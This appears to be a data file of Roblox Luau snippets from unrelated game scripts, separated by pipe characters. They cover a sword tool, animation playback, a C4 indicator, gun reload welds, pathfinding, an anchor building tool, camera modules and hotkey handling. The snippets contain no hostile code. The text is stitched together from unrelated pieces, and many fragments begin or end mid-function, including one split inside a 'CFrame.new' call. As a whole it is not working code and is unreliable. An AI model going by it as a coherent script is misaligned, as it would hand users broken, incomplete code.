local Now = tick()
wait(0.05)
HitDelay = false
end)
end
function Attack()
Damage = DamageValues.SlashDamage
Sounds.Slash:Play()
--[[local Anim = Create("StringValue"){
Name = "toolanim",
Value = "Slash",
}
Debris:AddItem(Anim, 2)
Anim.Parent = Tool]]
local SwingAnimations = ((Humanoid.RigType == Enum.HumanoidRigType.R6 and {Animations.R6LeftSlash, Animations.R6RightSlash, Animations.R6SideSwipe})
or (Humanoid.RigType == Enum.HumanoidRigType.R15 and {Animations.R15LeftSlash, --[[Animations.R15RightSlash,]] Animations.R15SideSwipe}))
local Animation = SwingAnimations[math.random(1, #SwingAnimations)]
Spawn(function()
InvokeClient("PlayAnimation", Animation)
end)
wait(Animation.Duration)
end
function Activated()
if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then
return
end
Tool.Enabled = false
Attack()
Damage = DamageValues.BaseDamage
Tool.Enabled = true
end
function CheckIfAlive()
return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and RootPart and RootPart.Parent) and true) or false)
end
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
RootPart = Character:FindFirstChild("HumanoidRootPart")
if not CheckIfAlive() then
return
end
Humanoid.WalkSpeed = (17)
Sounds.Unsheath:Play()
ToolEquipped = true
end
function Unequipped()
if CheckIfAlive() then
Humanoid.WalkSpeed = 16
end
ToolEquipped = false
end
function OnServerInvoke(player, mode, value)
if player ~= Player or not ToolEquipped or not value or not CheckIfAlive() then
return
end
end
function InvokeClient(Mode, Value)
local ClientReturn = nil
pcall(function()
ClientReturn = ClientControl:InvokeClient(Player, Mode, Value)
end)
return ClientReturn
end
ServerControl.OnServerInvoke = OnServerInvoke
Tool.Activated:connect(Activated)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
Blow(Handle)
|
-- ROBLOX deviation: use `unknown` type until Luau starts to support it |
type unknown = any
|
-- Preload animations |
function playAnimation(animName, transitionTime, humanoid)
local idleFromEmote = (animName == "idle" and emoteNames[currentAnim])
if animName ~= currentAnim and not idleFromEmote then
if currentAnimTrack then
currentAnimTrack:Stop(transitionTime)
currentAnimTrack:Destroy()
end
currentAnimSpeed = 1.0
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end |
--This script is used for when the bomb is in the dropped weapons model in the workspace :o |
local gundrops = game.Workspace:WaitForChild("Debris")
c4where = false
if game.Players.LocalPlayer.TeamColor == BrickColor.new("Bright yellow") then
gundrops.ChildAdded:connect(function(newobj)
if newobj.Name == "C4" then
c4where = true
script.BillboardGui.Adornee = newobj
script.BillboardGui.TextLabel.Visible = true
end
end)
gundrops.ChildRemoved:connect(function(oldobj)
if oldobj.Name == "C4" then
c4where = false
script.BillboardGui.Adornee = nil
script.BillboardGui.TextLabel.Visible = false
end
end)
end
|
-- dispeller's Open Sourced Inventory system
-- 2019 | |
weld33.C1 = CFrame.new | (-0.75, 0.5, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-80), math.rad(-15),0)
wait(0.08)
Tool.Reload2:play()
weld55.C1 = CFrame.new(-0.35, 0.5, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(285), 0.05, math.rad(-90))
wait(0.08)
weld55.C1 = CFrame.new(-0.35, 0.7, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(280), 0.1, math.rad(-90))
wait(0.08)
weld55.C1 = CFrame.new(-0.35, 0.8, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.15, math.rad(-90))
wait(0.1)
Tool.BAR1.Mesh.Offset = Vector3.new(-0.05, 0, -0.1)
Tool.BAR2.Mesh.Offset = Vector3.new(-0.05, 0, -0.1)
Tool.BAR3.Mesh.Offset = Vector3.new(-0.05, 0, -0.1)
Tool.BAR4.Mesh.Offset = Vector3.new(-0.05, 0, -0.1)
Tool.BAR5.Mesh.Offset = Vector3.new(-0.05, 0, -0.1)
Tool.BAR6.Mesh.Offset = Vector3.new(-0.05, 0, -0.1)
Tool.BARCenter.Mesh.Offset = Vector3.new(-0.05, 0, -0.1)
Tool.BARCenter2.Mesh.Offset = Vector3.new(-0.05, 0, -0.1)
wait(0.08)
Tool.BAR1.Mesh.Offset = Vector3.new(-0.1, 0, -0.2)
Tool.BAR2.Mesh.Offset = Vector3.new(-0.1, 0, -0.2)
Tool.BAR3.Mesh.Offset = Vector3.new(-0.1, 0, -0.2)
Tool.BAR4.Mesh.Offset = Vector3.new(-0.1, 0, -0.2)
Tool.BAR5.Mesh.Offset = Vector3.new(-0.1, 0, -0.2)
Tool.BAR6.Mesh.Offset = Vector3.new(-0.1, 0, -0.2)
Tool.BARCenter.Mesh.Offset = Vector3.new(-0.1, 0, -0.2)
Tool.BARCenter2.Mesh.Offset = Vector3.new(-0.1, 0, -0.2)
weld55.C1 = CFrame.new(-0.35, 0.8, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.15, math.rad(-90))
wait(0.08)
weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.25, math.rad(-90))
weld33.C1 = CFrame.new(-0.75, 0.5, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-70), math.rad(-15),0)
wait(0.08)
weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.4, math.rad(-90))
wait(0.08)
--put the bullets in...
Tool.Reload3:play()
weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.6, math.rad(-90))
wait(0.08)
weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.3, math.rad(-90))
wait(0.08)
weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.45, math.rad(-90))
wait(0.08)
weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.55, math.rad(-90))
wait(0.08)
Tool.Reload3:play()
weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.6, math.rad(-90))
wait(0.08)
weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.3, math.rad(-90))
wait(0.08)
weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.3, math.rad(-90))
wait(0.08)
weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.45, math.rad(-90))
wait(0.08)
weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.55, math.rad(-90))
wait(0.08)
Tool.Reload3:play()
weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.6, math.rad(-90))
wait(0.08)
weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.3, math.rad(-90))
wait(0.08)
weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.3, math.rad(-90))
wait(0.08)
weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.45, math.rad(-90))
wait(0.08)
weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.55, math.rad(-90))
wait(0.08)
Tool.Reload3:play()
weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.6, math.rad(-90))
wait(0.08)
weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.3, math.rad(-90))
wait(0.08)
weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.3, math.rad(-90))
wait(0.08)
weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.45, math.rad(-90))
wait(0.08)
weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.55, math.rad(-90))
wait(0.08)
Tool.Reload3:play()
weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.6, math.rad(-90))
wait(0.08)
weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.3, math.rad(-90))
wait(0.08)
weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.3, math.rad(-90))
wait(0.08)
weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.45, math.rad(-90))
wait(0.08)
weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.55, math.rad(-90))
wait(0.08)
Tool.Reload3:play()
weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.6, math.rad(-90))
wait(0.08)
weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.3, math.rad(-90))
wait(0.08)
weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.4, math.rad(-90)) |
--Don't touch anything in this script unless you know what you're doing |
script.Parent.MouseButton1Click:connect(function()
script.Parent.Parent.Parent.Sound:Stop()
end)
|
--Fire the WaypointReached event |
local function invokeWaypointReached(self)
local lastWaypoint = self._waypoints[self._currentWaypoint - 1]
local nextWaypoint = self._waypoints[self._currentWaypoint]
self._events.WaypointReached:Fire(self._agent, lastWaypoint, nextWaypoint)
end
local function moveToFinished(self, reached)
--Handle case for non-humanoids
if not self._humanoid then
if reached and self._currentWaypoint + 1 <= #self._waypoints then
invokeWaypointReached(self)
self._currentWaypoint += 1
elseif reached then
self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints)
self._target = nil
self._events.Reached:Fire(self._agent, self._waypoints[self._currentWaypoint])
else
self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints)
self._target = nil
declareError(self, self.ErrorType.TargetUnreachable)
end
return
end
if reached and self._currentWaypoint + 1 <= #self._waypoints then --Waypoint reached
invokeWaypointReached(self)
self._currentWaypoint += 1
move(self)
elseif reached then --Target reached, pathfinding ends
disconnectMoveConnection(self)
self._status = Path.StatusType.Idle
self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints)
self._events.Reached:Fire(self._agent, self._waypoints[self._currentWaypoint])
else --Target unreachable
disconnectMoveConnection(self)
self._status = Path.StatusType.Idle
self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints)
declareError(self, self.ErrorType.TargetUnreachable)
end
end
|
--Signals---------- |
ChangeSize.OnServerInvoke = function(Player, Model, Scale, Grid, Plot)
return ModifyScale(Scale, Plot, Grid, Model)
end
|
-- Function to handle player added |
local function onPlayerAdded(player)
player.CharacterAdded:Connect(onCharacterAdded)
end
|
-- Container for temporary connections (disconnected automatically) |
local Connections = {};
function AnchorTool.Equip()
-- Enables the tool's equipped functionality
-- Start up our interface
ShowUI();
BindShortcutKeys();
end;
function AnchorTool.Unequip()
-- Disables the tool's equipped functionality
-- Clear unnecessary resources
HideUI();
ClearConnections();
end;
function ClearConnections()
-- Clears out temporary connections
for ConnectionKey, Connection in pairs(Connections) do
Connection:Disconnect();
Connections[ConnectionKey] = nil;
end;
end;
function ShowUI()
-- Creates and reveals the UI
-- Reveal UI if already created
if UI then
-- Reveal the UI
UI.Visible = true;
-- Update the UI every 0.1 seconds
UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);
-- Skip UI creation
return;
end;
-- Create the UI
UI = Core.Tool.Interfaces.BTAnchorToolGUI:Clone();
UI.Parent = Core.UI;
UI.Visible = true;
-- References to UI elements
local AnchorButton = UI.Status.Anchored.Button;
local UnanchorButton = UI.Status.Unanchored.Button;
-- Enable the anchor status switch
AnchorButton.MouseButton1Click:Connect(function ()
SetProperty('Anchored', true);
end);
UnanchorButton.MouseButton1Click:Connect(function ()
SetProperty('Anchored', false);
end);
-- Hook up manual triggering
local SignatureButton = UI:WaitForChild('Title'):WaitForChild('Signature')
ListenForManualWindowTrigger(AnchorTool.ManualText, AnchorTool.Color.Color, SignatureButton)
-- Update the UI every 0.1 seconds
UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);
end;
function UpdateUI()
-- Updates information on the UI
-- Make sure the UI's on
if not UI then
return;
end;
-- Check the common anchor status of selection
local Anchored = Support.IdentifyCommonProperty(Selection.Parts, 'Anchored');
-- Update the anchor option switch
if Anchored == true then
Core.ToggleSwitch('Anchored', UI.Status);
-- If the selection is unanchored
elseif Anchored == false then
Core.ToggleSwitch('Unanchored', UI.Status);
-- If the anchor status varies, don't select a current switch
elseif Anchored == nil then
Core.ToggleSwitch(nil, UI.Status);
end;
end;
function HideUI()
-- Hides the tool UI
-- Make sure there's a UI
if not UI then
return;
end;
-- Hide the UI
UI.Visible = false;
-- Stop updating the UI
UIUpdater:Stop();
end;
function SetProperty(Property, Value)
-- Make sure the given value is valid
if Value == nil then
return;
end;
-- Start a history record
TrackChange();
-- Go through each part
for _, Part in pairs(Selection.Parts) do
-- Store the state of the part before modification
table.insert(HistoryRecord.Before, { Part = Part, [Property] = Part[Property] });
-- Create the change request for this part
table.insert(HistoryRecord.After, { Part = Part, [Property] = Value });
end;
-- Register the changes
RegisterChange();
end;
function BindShortcutKeys()
-- Enables useful shortcut keys for this tool
-- Track user input while this tool is equipped
table.insert(Connections, UserInputService.InputBegan:Connect(function (InputInfo, GameProcessedEvent)
-- Make sure this is an intentional event
if GameProcessedEvent then
return;
end;
-- Make sure this input is a key press
if InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then
return;
end;
-- Make sure it wasn't pressed while typing
if UserInputService:GetFocusedTextBox() then
return;
end;
-- Check if the enter key was pressed
if InputInfo.KeyCode == Enum.KeyCode.Return or InputInfo.KeyCode == Enum.KeyCode.KeypadEnter then
-- Toggle the selection's anchor status
ToggleAnchors();
end;
end));
end;
function ToggleAnchors()
-- Toggles the anchor status of the selection
-- Change the anchor status to the opposite of the common anchor status
SetProperty('Anchored', not Support.IdentifyCommonProperty(Selection.Parts, 'Anchored'));
end;
function TrackChange()
-- Start the record
HistoryRecord = {
Before = {};
After = {};
Selection = Selection.Items;
Unapply = function (Record)
-- Reverts this change
-- Select the changed parts
Selection.Replace(Record.Selection)
-- Send the change request
Core.SyncAPI:Invoke('SyncAnchor', Record.Before);
end;
Apply = function (Record)
-- Applies this change
-- Select the changed parts
Selection.Replace(Record.Selection)
-- Send the change request
Core.SyncAPI:Invoke('SyncAnchor', Record.After);
end;
};
end;
function RegisterChange()
-- Finishes creating the history record and registers it
-- Make sure there's an in-progress history record
if not HistoryRecord then
return;
end;
-- Send the change to the server
Core.SyncAPI:Invoke('SyncAnchor', HistoryRecord.After);
-- Register the record and clear the staging
Core.History.Add(HistoryRecord);
HistoryRecord = nil;
end;
|
-- Check if player is walking |
local check_movement = function()
if humanoid.WalkSpeed > 0 and humanoid.MoveDirection.Magnitude > 0 and humanoid.FloorMaterial ~= Enum.Material.Air then
return true
elseif humanoid.WalkSpeed <= 0 or humanoid.MoveDirection.Magnitude <= 0 or humanoid.FloorMaterial == Enum.Material.Air then
return false
end
end
|
-- Management of which options appear on the Roblox User Settings screen |
do
local PlayerScripts = Players.LocalPlayer:WaitForChild("PlayerScripts")
PlayerScripts:RegisterTouchCameraMovementMode(Enum.TouchCameraMovementMode.Default)
PlayerScripts:RegisterTouchCameraMovementMode(Enum.TouchCameraMovementMode.Follow)
PlayerScripts:RegisterTouchCameraMovementMode(Enum.TouchCameraMovementMode.Classic)
PlayerScripts:RegisterComputerCameraMovementMode(Enum.ComputerCameraMovementMode.Default)
PlayerScripts:RegisterComputerCameraMovementMode(Enum.ComputerCameraMovementMode.Follow)
PlayerScripts:RegisterComputerCameraMovementMode(Enum.ComputerCameraMovementMode.Classic)
PlayerScripts:RegisterComputerCameraMovementMode(Enum.ComputerCameraMovementMode.CameraToggle)
end
function CameraModule.new()
local self = setmetatable({},CameraModule)
-- Current active controller instances
self.activeCameraController = nil
self.activeOcclusionModule = nil
self.activeTransparencyController = nil
self.activeMouseLockController = nil
self.currentComputerCameraMovementMode = nil
-- Connections to events
self.cameraSubjectChangedConn = nil
self.cameraTypeChangedConn = nil
-- Adds CharacterAdded and CharacterRemoving event handlers for all current players
for _,player in pairs(Players:GetPlayers()) do
self:OnPlayerAdded(player)
end
-- Adds CharacterAdded and CharacterRemoving event handlers for all players who join in the future
Players.PlayerAdded:Connect(function(player)
self:OnPlayerAdded(player)
end)
self.activeTransparencyController = TransparencyController.new()
self.activeTransparencyController:Enable(true)
if not UserInputService.TouchEnabled then
self.activeMouseLockController = MouseLockController.new()
local toggleEvent = self.activeMouseLockController:GetBindableToggleEvent()
if toggleEvent then
toggleEvent:Connect(function()
self:OnMouseLockToggled()
end)
end
end
self:ActivateCameraController(self:GetCameraControlChoice())
self:ActivateOcclusionModule(Players.LocalPlayer.DevCameraOcclusionMode)
self:OnCurrentCameraChanged() -- Does initializations and makes first camera controller
RunService:BindToRenderStep("cameraRenderUpdate", Enum.RenderPriority.Camera.Value, function(dt) self:Update(dt) end)
-- Connect listeners to camera-related properties
for _, propertyName in pairs(PLAYER_CAMERA_PROPERTIES) do
Players.LocalPlayer:GetPropertyChangedSignal(propertyName):Connect(function()
self:OnLocalPlayerCameraPropertyChanged(propertyName)
end)
end
for _, propertyName in pairs(USER_GAME_SETTINGS_PROPERTIES) do
UserGameSettings:GetPropertyChangedSignal(propertyName):Connect(function()
self:OnUserGameSettingsPropertyChanged(propertyName)
end)
end
game.Workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function()
self:OnCurrentCameraChanged()
end)
return self
end
function CameraModule:GetCameraMovementModeFromSettings()
local cameraMode = Players.LocalPlayer.CameraMode
-- Lock First Person trumps all other settings and forces ClassicCamera
if cameraMode == Enum.CameraMode.LockFirstPerson then
return CameraUtils.ConvertCameraModeEnumToStandard(Enum.ComputerCameraMovementMode.Classic)
end
local devMode, userMode
if UserInputService.TouchEnabled then
devMode = CameraUtils.ConvertCameraModeEnumToStandard(Players.LocalPlayer.DevTouchCameraMode)
userMode = CameraUtils.ConvertCameraModeEnumToStandard(UserGameSettings.TouchCameraMovementMode)
else
devMode = CameraUtils.ConvertCameraModeEnumToStandard(Players.LocalPlayer.DevComputerCameraMode)
userMode = CameraUtils.ConvertCameraModeEnumToStandard(UserGameSettings.ComputerCameraMovementMode)
end
if devMode == Enum.DevComputerCameraMovementMode.UserChoice then
-- Developer is allowing user choice, so user setting is respected
return userMode
end
return devMode
end
function CameraModule:ActivateOcclusionModule(occlusionMode: Enum.DevCameraOcclusionMode)
local newModuleCreator
if occlusionMode == Enum.DevCameraOcclusionMode.Zoom then
newModuleCreator = Poppercam
elseif occlusionMode == Enum.DevCameraOcclusionMode.Invisicam then
newModuleCreator = Invisicam
else
warn("CameraScript ActivateOcclusionModule called with unsupported mode")
return
end
self.occlusionMode = occlusionMode
-- First check to see if there is actually a change. If the module being requested is already
-- the currently-active solution then just make sure it's enabled and exit early
if self.activeOcclusionModule and self.activeOcclusionModule:GetOcclusionMode() == occlusionMode then
if not self.activeOcclusionModule:GetEnabled() then
self.activeOcclusionModule:Enable(true)
end
return
end
-- Save a reference to the current active module (may be nil) so that we can disable it if
-- we are successful in activating its replacement
local prevOcclusionModule = self.activeOcclusionModule
-- If there is no active module, see if the one we need has already been instantiated
self.activeOcclusionModule = instantiatedOcclusionModules[newModuleCreator]
-- If the module was not already instantiated and selected above, instantiate it
if not self.activeOcclusionModule then
self.activeOcclusionModule = newModuleCreator.new()
if self.activeOcclusionModule then
instantiatedOcclusionModules[newModuleCreator] = self.activeOcclusionModule
end
end
-- If we were successful in either selecting or instantiating the module,
-- enable it if it's not already the currently-active enabled module
if self.activeOcclusionModule then
local newModuleOcclusionMode = self.activeOcclusionModule:GetOcclusionMode()
-- Sanity check that the module we selected or instantiated actually supports the desired occlusionMode
if newModuleOcclusionMode ~= occlusionMode then
warn("CameraScript ActivateOcclusionModule mismatch: ",self.activeOcclusionModule:GetOcclusionMode(),"~=",occlusionMode)
end
-- Deactivate current module if there is one
if prevOcclusionModule then
-- Sanity check that current module is not being replaced by itself (that should have been handled above)
if prevOcclusionModule ~= self.activeOcclusionModule then
prevOcclusionModule:Enable(false)
else
warn("CameraScript ActivateOcclusionModule failure to detect already running correct module")
end
end
-- Occlusion modules need to be initialized with information about characters and cameraSubject
-- Invisicam needs the LocalPlayer's character
-- Poppercam needs all player characters and the camera subject
if occlusionMode == Enum.DevCameraOcclusionMode.Invisicam then
-- Optimization to only send Invisicam what we know it needs
if Players.LocalPlayer.Character then
self.activeOcclusionModule:CharacterAdded(Players.LocalPlayer.Character, Players.LocalPlayer )
end
else
-- When Poppercam is enabled, we send it all existing player characters for its raycast ignore list
for _, player in pairs(Players:GetPlayers()) do
if player and player.Character then
self.activeOcclusionModule:CharacterAdded(player.Character, player)
end
end
self.activeOcclusionModule:OnCameraSubjectChanged(game.Workspace.CurrentCamera.CameraSubject)
end
-- Activate new choice
self.activeOcclusionModule:Enable(true)
end
end
function CameraModule:ShouldUseVehicleCamera()
local camera = workspace.CurrentCamera
if not camera then
return false
end
local cameraType = camera.CameraType
local cameraSubject = camera.CameraSubject
local isEligibleType = cameraType == Enum.CameraType.Custom or cameraType == Enum.CameraType.Follow
local isEligibleSubject = cameraSubject and cameraSubject:IsA("VehicleSeat") or false
local isEligibleOcclusionMode = self.occlusionMode ~= Enum.DevCameraOcclusionMode.Invisicam
return isEligibleSubject and isEligibleType and isEligibleOcclusionMode
end
|
-- damps a 3D rotation in Tait-Bryan YXZ space, filtering out Z |
local YawPitchSpring = {} do
YawPitchSpring.__index = YawPitchSpring
function YawPitchSpring.new(cf)
assert(typeof(cf) == "CFrame")
return setmetatable({
yawG = getYaw(cf), -- yaw goal
yawP = getYaw(cf), -- yaw position
yawV = 0, -- yaw velocity
pitchG = getPitch(cf), -- pitch goal
pitchP = getPitch(cf), -- pitch position
pitchV = 0, -- pitch velocity
-- yaw/pitch response springs
fSpringYaw = VariableEdgeSpring.new(
VehicleCameraConfig.yawReponseDampingRising,
VehicleCameraConfig.yawResponseDampingFalling,
0
),
fSpringPitch = VariableEdgeSpring.new(
VehicleCameraConfig.pitchReponseDampingRising,
VehicleCameraConfig.pitchResponseDampingFalling,
0
),
}, YawPitchSpring)
end
-- Extract Tait-Bryan angles from a CFrame rotation
function YawPitchSpring:setGoal(goalCFrame)
assert(typeof(goalCFrame) == "CFrame")
self.yawG = getYaw(goalCFrame)
self.pitchG = getPitch(goalCFrame)
end
function YawPitchSpring:getCFrame()
return CFrame.fromEulerAnglesYXZ(self.pitchP, self.yawP, 0)
end
function YawPitchSpring:step(dt, pitchVel, yawVel, firstPerson)
assert(typeof(dt) == "number")
assert(typeof(yawVel) == "number")
assert(typeof(pitchVel) == "number")
assert(typeof(firstPerson) == "number")
local fSpringYaw = self.fSpringYaw
local fSpringPitch = self.fSpringPitch
-- calculate the frequency spring
fSpringYaw.g = mapClamp(
map(firstPerson, 0, 1, yawVel, 0),
math.rad(VehicleCameraConfig.cutoffMinAngularVelYaw),
math.rad(VehicleCameraConfig.cutoffMaxAngularVelYaw),
1, 0
)
fSpringPitch.g = mapClamp(
map(firstPerson, 0, 1, pitchVel, 0),
math.rad(VehicleCameraConfig.cutoffMinAngularVelPitch),
math.rad(VehicleCameraConfig.cutoffMaxAngularVelPitch),
1, 0
)
-- calculate final frequencies
local fYaw = 2*math.pi*VehicleCameraConfig.yawStiffness*fSpringYaw:step(dt)
local fPitch = 2*math.pi*VehicleCameraConfig.pitchStiffness*fSpringPitch:step(dt)
-- adjust response for first person
fPitch *= map(firstPerson, 0, 1, 1, VehicleCameraConfig.firstPersonResponseMul)
fYaw *= map(firstPerson, 0, 1, 1, VehicleCameraConfig.firstPersonResponseMul)
-- step yaw
self.yawP, self.yawV = stepSpringAxis(
dt,
fYaw,
self.yawG,
self.yawP,
self.yawV
)
-- step pitch
self.pitchP, self.pitchV = stepSpringAxis(
dt,
fPitch,
self.pitchG,
self.pitchP,
self.pitchV
)
return self:getCFrame()
end
end
local VehicleCameraCore = {} do
VehicleCameraCore.__index = VehicleCameraCore
function VehicleCameraCore.new(transform)
return setmetatable({
vrs = YawPitchSpring.new(transform)
}, VehicleCameraCore)
end
function VehicleCameraCore:step(dt, pitchVel, yawVel, firstPerson)
return self.vrs:step(dt, pitchVel, yawVel, firstPerson)
end
function VehicleCameraCore:setTransform(transform)
self.vrs:setGoal(transform)
end
end
return VehicleCameraCore
|
-- Etc |
local DESTROY_ON_DEATH = getValueFromConfig("DestroyOnDeath")
local RAGDOLL_ENABLED = getValueFromConfig("RagdollEnabled")
local DEATH_DESTROY_DELAY = 5
local PATROL_WALKSPEED = 12
local MIN_REPOSITION_TIME = 2
local MAX_REPOSITION_TIME = 10
local MAX_PARTS_PER_HEARTBEAT = 50
local ATTACK_STAND_TIME = 1
local HITBOX_SIZE = Vector3.new(5, 3, 5)
local SEARCH_DELAY = 1
local ATTACK_RANGE = 3
local ATTACK_DELAY = 1
local ATTACK_MIN_WALKSPEED = 14
local ATTACK_MAX_WALKSPEED = 18
|
--[[
DataStore2: A wrapper for data stores that caches and saves Player's data.
DataStore2(dataStoreName, Player) - Returns a DataStore2 DataStore
DataStore2 DataStore:
- Get([defaultValue])
- Set(value)
- Update(updateFunc)
- Increment(value, defaultValue)
- BeforeInitialGet(modifier)
- BeforeSave(modifier)
- Save()
- SaveAsync()
- OnUpdate(callback)
- BindToClose(callback)
local coinStore = DataStore2("Coins", Player)
To give a Player coins:
coinStore:Increment(50)
To get the current Player's coins:
coinStore:Get()
--]] |
local RunService = game:GetService("RunService")
local ServerStorage = game:GetService("ServerStorage")
local Constants = require(script.Constants)
local IsPlayer = require(script.IsPlayer)
local Promise = require(script.Promise)
local SavingMethods = require(script.SavingMethods)
local Settings = require(script.Settings)
local TableUtil = require(script.TableUtil)
local Verifier = require(script.Verifier)
local SaveInStudioObject = ServerStorage:FindFirstChild("SaveInStudio")
local SaveInStudio = SaveInStudioObject and SaveInStudioObject.Value
local function clone(value)
if typeof(value) == "table" then
return TableUtil.clone(value)
else
return value
end
end
|
--!strict
-- upstream: https://github.com/facebook/react/blob/60ba723bf78b9a28f60dce854e88e206fab52301/packages/react-is/src/ReactIs.js
--[[*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
*
]] |
local Packages = script.Parent |
-- Core hotkeys |
Hotkeys = {};
function AssignHotkey(Hotkey, Callback)
-- Assigns the given hotkey to `Callback`
-- Standardize enum-described hotkeys
if type(Hotkey) == 'userdata' then
Hotkey = { Hotkey };
-- Standardize string-described hotkeys
elseif type(Hotkey) == 'string' then
Hotkey = { Enum.KeyCode[Hotkey] };
-- Standardize string table-described hotkeys
elseif type(Hotkey) == 'table' then
for Index, Key in ipairs(Hotkey) do
if type(Key) == 'string' then
Hotkey[Index] = Enum.KeyCode[Key];
end;
end;
end;
-- Register the hotkey
table.insert(Hotkeys, { Keys = Hotkey, Callback = Callback });
end;
function EnableHotkeys()
-- Begins to listen for hotkey triggering
-- Listen for pressed keys
Connections.Hotkeys = Support.AddUserInputListener('Began', 'Keyboard', false, function (Input)
local _PressedKeys = Support.GetListMembers(UserInputService:GetKeysPressed(), 'KeyCode');
-- Filter out problematic keys
local PressedKeys = {};
local FilteredKeys = Support.FlipTable { 'LeftAlt', 'W', 'S', 'A', 'D', 'Space' };
for _, Key in ipairs(_PressedKeys) do
if not FilteredKeys[Key.Name] then
table.insert(PressedKeys, Key);
end;
end;
-- Count pressed keys
local KeyCount = #PressedKeys;
-- Prioritize hotkeys based on # of required keys
table.sort(Hotkeys, function (A, B)
if #A.Keys > #B.Keys then
return true;
end;
end);
-- Identify matching hotkeys
for _, Hotkey in ipairs(Hotkeys) do
if KeyCount == #Hotkey.Keys then
-- Get the hotkey's key index
local Keys = Support.FlipTable(Hotkey.Keys)
local MatchingKeys = 0;
-- Check matching pressed keys
for _, PressedKey in pairs(PressedKeys) do
if Keys[PressedKey] then
MatchingKeys = MatchingKeys + 1;
end;
end;
-- Trigger the first matching hotkey's callback
if MatchingKeys == KeyCount then
Hotkey.Callback();
break;
end;
end;
end;
end);
end;
Enabling = RbxUtility.CreateSignal();
Disabling = RbxUtility.CreateSignal();
Enabled = RbxUtility.CreateSignal();
Disabled = RbxUtility.CreateSignal();
function Enable(Mouse)
-- Ensure tool is disabled or disabling, and not already enabling
if (IsEnabled and not IsDisabling) or IsEnabling then
return;
-- If tool is disabling, enable it once fully disabled
elseif IsDisabling then
Disabled:Wait();
return Enable(Mouse);
end;
-- Indicate that tool is enabling
IsEnabling = true;
Enabling:Fire();
-- Update the core mouse
getfenv(0).Mouse = Mouse;
-- Use default mouse behavior
